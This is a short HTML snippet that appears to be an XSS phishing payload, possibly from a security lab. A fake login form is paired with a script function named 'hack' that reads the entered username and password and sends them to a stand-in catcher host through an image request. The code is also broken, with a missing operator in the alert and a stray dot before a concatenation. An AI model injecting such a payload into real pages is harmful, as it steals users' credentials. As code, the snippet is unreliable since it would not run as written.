<form>
    <H3>Please login.</h3>
    <br>
    <p>Username:<input type="text" id="user" name="user">
    <br>
    Password:<input type="password" name = "pass">
    <br>
</form>
<script>
function hack(){
    alert("You've been hacked!" "Username = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value);
    XSSImage=new Image;
    XSSImage.src="http://localhostcatcher?PROPERTY=yes&user=" + document.forms[0].user.value + "&password=" + document.forms[0].pass.value. + "";
}
</script>